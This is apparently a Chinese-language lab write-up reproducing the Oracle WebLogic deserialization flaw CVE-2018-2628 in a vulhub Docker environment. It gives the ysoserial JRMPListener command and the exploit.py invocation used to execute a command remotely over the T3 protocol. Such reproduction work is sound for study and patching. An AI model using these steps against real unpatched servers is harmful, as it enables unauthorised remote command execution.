Weblogic CVE-2018-2628反序列化漏洞复现
漏洞描述
漏洞名称:Weblogic WLS Core Components 反序列化命令执行漏洞;编号为:CVE-2018-2628
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
需要的工具
ysoserial:https://github.com/tdy218/ysoserial-cve-2018-2628/releases
expolit.py:https://www.exploit-db.com/exploits/44553
影响版本
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
漏洞环境
vulhub对应目录下启动如下命令Weblogic 10.3.6.0:
docker-compose up -d
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console
,初始化整个环境。初始化完成后就会出现Weblogic界面,如下
漏洞复现
首先下载ysoserial,并启动一个JRMP Server:
下方1099为是JRMP Server监听的端口,'touch /tmp/test'
是我想执行的命令,Jdk7u21为jdk版本
ps:jdk版本只要大于1.7,直接填Jdk7u21就可以了
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'touch /tmp/test'
然后,使用exploit.py脚本,向目标Weblogic发送数据包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient
其中,[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient
或JRMPClient2
我执行的为:
D:\Python\Python27\python.exe exploit.py 192.168.157.128 7001 ysoserial-0.1-cve-2018-2628-all.jar 192.168.157.1 1099 JRMPClient
ps:这里我本地是没有python2的环境,所以我加了python2的路径,如果你有就直接输python2即可,经过测试,python3不能运行该脚本
脚本执行成功,那么我们进入容器查看一下test文件是否创建成功